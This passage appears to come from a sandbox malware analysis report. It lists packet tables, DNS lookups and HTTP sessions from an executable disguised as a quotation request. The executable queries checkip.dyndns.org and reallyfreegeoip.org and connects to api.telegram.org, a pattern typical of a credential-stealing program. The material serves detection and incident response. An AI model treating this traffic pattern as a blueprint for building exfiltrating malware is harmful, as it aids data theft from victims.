Dec 3, 2024 15:23:33.009569883 CET	49908	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:33.011101007 CET	49919	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:33.131138086 CET	80	49919	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:33.131279945 CET	49919	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:33.133579016 CET	80	49908	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:33.133644104 CET	49908	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:34.010796070 CET	49919	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:34.131445885 CET	80	49919	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:34.131675959 CET	49919	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:34.131933928 CET	49919	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:34.251898050 CET	80	49919	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:35.436189890 CET	80	49919	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:35.451158047 CET	49925	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:35.451210976 CET	443	49925	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:35.451293945 CET	49925	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:35.451741934 CET	49925	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:35.451752901 CET	443	49925	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:35.479427099 CET	49919	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:36.859810114 CET	443	49925	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:36.861763000 CET	49925	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:36.861777067 CET	443	49925	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:36.861833096 CET	49925	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:36.861836910 CET	443	49925	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:37.577528954 CET	443	49925	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:37.577692032 CET	443	49925	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:37.577750921 CET	49925	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:37.578233004 CET	49925	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:37.581573963 CET	49919	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:37.583679914 CET	49931	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:37.702444077 CET	80	49919	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:37.702605963 CET	49919	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:37.704066992 CET	80	49931	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:37.704164982 CET	49931	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:37.704580069 CET	49931	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:37.824500084 CET	80	49931	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:39.064112902 CET	80	49931	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:39.065753937 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:39.065798044 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:39.065866947 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:39.066184044 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:39.066201925 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:39.104516983 CET	49931	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:40.489152908 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:40.541989088 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:40.601248980 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:40.601274014 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:40.635381937 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:40.635411978 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:41.186564922 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:41.186785936 CET	443	49935	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:41.186840057 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:41.187458992 CET	49935	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:41.199634075 CET	49931	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:41.201176882 CET	49939	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:41.320470095 CET	80	49931	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:41.320523024 CET	49931	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:41.321182966 CET	80	49939	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:41.321254969 CET	49939	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:41.321688890 CET	49939	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:41.441559076 CET	80	49939	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:42.626117945 CET	80	49939	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:42.627862930 CET	49943	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:42.627899885 CET	443	49943	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:42.627979040 CET	49943	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:42.628282070 CET	49943	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:42.628298044 CET	443	49943	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:42.667047024 CET	49939	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:44.088567972 CET	443	49943	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:44.135726929 CET	49943	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:44.244146109 CET	49943	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:44.244169950 CET	443	49943	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:44.244242907 CET	49943	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:44.244259119 CET	443	49943	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:44.858158112 CET	443	49943	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:44.858254910 CET	443	49943	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:44.858345032 CET	49943	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:44.858938932 CET	49943	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:44.862606049 CET	49939	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:44.864384890 CET	49948	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:44.983459949 CET	80	49939	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:44.983772993 CET	49939	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:44.984407902 CET	80	49948	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:44.984545946 CET	49948	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:44.984883070 CET	49948	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:45.104984999 CET	80	49948	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:46.335513115 CET	80	49948	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:46.336869001 CET	49951	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:46.336927891 CET	443	49951	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:46.336983919 CET	49951	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:46.337333918 CET	49951	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:46.337361097 CET	443	49951	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:46.378781080 CET	49948	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:47.705626011 CET	443	49951	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:47.709760904 CET	49951	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:47.709794044 CET	443	49951	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:47.709881067 CET	49951	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:47.709891081 CET	443	49951	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:48.483834982 CET	443	49951	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:48.484046936 CET	443	49951	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:48.484093904 CET	49951	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:48.484513998 CET	49951	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:48.487934113 CET	49948	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:48.489293098 CET	49956	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:48.608664989 CET	80	49948	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:48.609155893 CET	49948	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:48.609340906 CET	80	49956	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:48.609437943 CET	49956	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:48.609688997 CET	49956	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:48.729612112 CET	80	49956	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:50.005939960 CET	80	49956	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:50.007353067 CET	49962	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:50.007392883 CET	443	49962	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:50.007469893 CET	49962	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:50.007735014 CET	49962	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:50.007749081 CET	443	49962	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:50.057595015 CET	49956	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:51.373985052 CET	443	49962	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:51.375797033 CET	49962	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:51.375819921 CET	443	49962	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:51.375890970 CET	49962	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:51.375900984 CET	443	49962	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:52.010777950 CET	443	49962	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:52.010894060 CET	443	49962	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:52.010962963 CET	49962	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:52.011574030 CET	49962	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:52.039417028 CET	49956	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:52.040663004 CET	49966	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:52.160046101 CET	80	49956	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:52.160144091 CET	49956	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:52.160557985 CET	80	49966	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:52.160644054 CET	49966	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:52.160885096 CET	49966	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:52.280826092 CET	80	49966	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:53.559438944 CET	80	49966	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:53.562375069 CET	49968	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:53.562423944 CET	443	49968	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:53.562603951 CET	49968	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:53.563122988 CET	49968	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:53.563136101 CET	443	49968	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:53.604574919 CET	49966	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:54.976423979 CET	443	49968	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:54.978204012 CET	49968	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:54.978221893 CET	443	49968	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:54.978281975 CET	49968	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:54.978292942 CET	443	49968	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:55.703536987 CET	443	49968	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:55.703721046 CET	443	49968	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:55.703779936 CET	49968	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:55.704108953 CET	49968	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:55.708126068 CET	49966	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:55.709693909 CET	49973	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:55.829436064 CET	80	49966	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:55.829504967 CET	49966	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:55.829602003 CET	80	49973	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:55.829669952 CET	49973	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:55.829879045 CET	49973	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:55.950133085 CET	80	49973	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:57.136209011 CET	80	49973	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:57.137563944 CET	49978	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:57.137628078 CET	443	49978	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:57.137701035 CET	49978	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:57.138012886 CET	49978	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:57.138026953 CET	443	49978	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:57.182645082 CET	49973	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:58.590523005 CET	443	49978	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:58.593733072 CET	49978	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:58.593750954 CET	443	49978	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:58.593794107 CET	49978	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:58.593800068 CET	443	49978	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:59.435950041 CET	443	49978	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:59.436079025 CET	443	49978	149.154.167.220	192.168.2.7
Dec 3, 2024 15:23:59.436139107 CET	49978	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:59.436557055 CET	49978	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:23:59.440505981 CET	49973	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:59.441287994 CET	49979	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:59.560894966 CET	80	49973	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:59.560957909 CET	49973	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:59.561254025 CET	80	49979	132.226.247.73	192.168.2.7
Dec 3, 2024 15:23:59.561331987 CET	49979	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:59.561739922 CET	49979	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:23:59.681790113 CET	80	49979	132.226.247.73	192.168.2.7
Dec 3, 2024 15:24:00.913367987 CET	80	49979	132.226.247.73	192.168.2.7
Dec 3, 2024 15:24:00.919672966 CET	49980	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:24:00.919739008 CET	443	49980	149.154.167.220	192.168.2.7
Dec 3, 2024 15:24:00.919821024 CET	49980	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:24:00.920192957 CET	49980	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:24:00.920218945 CET	443	49980	149.154.167.220	192.168.2.7
Dec 3, 2024 15:24:00.963943005 CET	49979	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:24:02.287229061 CET	443	49980	149.154.167.220	192.168.2.7
Dec 3, 2024 15:24:02.338901043 CET	49980	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:24:04.712009907 CET	49980	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:24:04.712044954 CET	443	49980	149.154.167.220	192.168.2.7
Dec 3, 2024 15:24:04.712114096 CET	49980	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:24:04.712121010 CET	443	49980	149.154.167.220	192.168.2.7
Dec 3, 2024 15:24:05.296610117 CET	443	49980	149.154.167.220	192.168.2.7
Dec 3, 2024 15:24:05.296691895 CET	443	49980	149.154.167.220	192.168.2.7
Dec 3, 2024 15:24:05.296972990 CET	49980	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:24:05.297314882 CET	49980	443	192.168.2.7	149.154.167.220
Dec 3, 2024 15:24:05.300239086 CET	49979	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:24:05.301417112 CET	49981	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:24:05.421333075 CET	80	49979	132.226.247.73	192.168.2.7
Dec 3, 2024 15:24:05.421427965 CET	80	49981	132.226.247.73	192.168.2.7
Dec 3, 2024 15:24:05.423446894 CET	49979	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:24:05.423635960 CET	49981	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:24:05.423635960 CET	49981	80	192.168.2.7	132.226.247.73
Dec 3, 2024 15:24:05.543690920 CET	80	49981	132.226.247.73	192.168.2.7
Dec 3, 2024 15:24:06.803620100 CET	80	49981	132.226.247.73	192.168.2.7
Dec 3, 2024 15:24:06.854551077 CET	49981	80	192.168.2.7	132.226.247.73

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 15:22:39.869385004 CET	59249	53	192.168.2.7	1.1.1.1
Dec 3, 2024 15:22:40.007324934 CET	53	59249	1.1.1.1	192.168.2.7
Dec 3, 2024 15:22:42.750113964 CET	52580	53	192.168.2.7	1.1.1.1
Dec 3, 2024 15:22:42.887569904 CET	53	52580	1.1.1.1	192.168.2.7
Dec 3, 2024 15:22:48.890260935 CET	49635	53	192.168.2.7	1.1.1.1
Dec 3, 2024 15:22:49.027896881 CET	53	49635	1.1.1.1	192.168.2.7
Dec 3, 2024 15:22:51.267581940 CET	59780	53	192.168.2.7	1.1.1.1
Dec 3, 2024 15:22:51.406538963 CET	53	59780	1.1.1.1	192.168.2.7
Dec 3, 2024 15:22:59.551228046 CET	59023	53	192.168.2.7	1.1.1.1
Dec 3, 2024 15:22:59.690095901 CET	53	59023	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 15:22:39.869385004 CET	192.168.2.7	1.1.1.1	0x9d4c	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:22:42.750113964 CET	192.168.2.7	1.1.1.1	0x8159	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:22:48.890260935 CET	192.168.2.7	1.1.1.1	0x640e	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:22:51.267581940 CET	192.168.2.7	1.1.1.1	0xba39	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:22:59.551228046 CET	192.168.2.7	1.1.1.1	0x9bef	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 15:22:40.007324934 CET	1.1.1.1	192.168.2.7	0x9d4c	No error (0)	drive.google.com		172.217.19.174	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:22:42.887569904 CET	1.1.1.1	192.168.2.7	0x8159	No error (0)	drive.usercontent.google.com		142.250.181.97	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:22:49.027896881 CET	1.1.1.1	192.168.2.7	0x640e	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 15:22:49.027896881 CET	1.1.1.1	192.168.2.7	0x640e	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:22:49.027896881 CET	1.1.1.1	192.168.2.7	0x640e	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:22:49.027896881 CET	1.1.1.1	192.168.2.7	0x640e	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:22:49.027896881 CET	1.1.1.1	192.168.2.7	0x640e	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:22:49.027896881 CET	1.1.1.1	192.168.2.7	0x640e	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:22:51.406538963 CET	1.1.1.1	192.168.2.7	0xba39	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:22:51.406538963 CET	1.1.1.1	192.168.2.7	0xba39	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 3, 2024 15:22:59.690095901 CET	1.1.1.1	192.168.2.7	0x9bef	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49802	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:22:49.154123068 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:22:50.551172018 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:22:50 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e0205ddc3b11a4c3ba0e9f3285efc076 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 15:22:50.555913925 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:22:51.015388012 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:22:50 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 819865acb5e821cdc5cbbc835333b7e9 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>
Dec 3, 2024 15:22:59.094218969 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:22:59.545706034 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:22:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 299781da1742728469d4ee64c6c74c98 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49838	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:02.797209978 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:23:04.279830933 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: dd11c3337c3d27caeb06c360de8f8492 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49850	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:06.543308020 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 3, 2024 15:23:07.970480919 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:07 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 36326bff282fe220f45ee61e3c74b25e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49858	132.226.247.73	80	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 15:23:10.276627064 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 3, 2024 15:23:11.840050936 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:23:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cd837b793f697cf4b5d7cb6900030216 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.228</body></html>

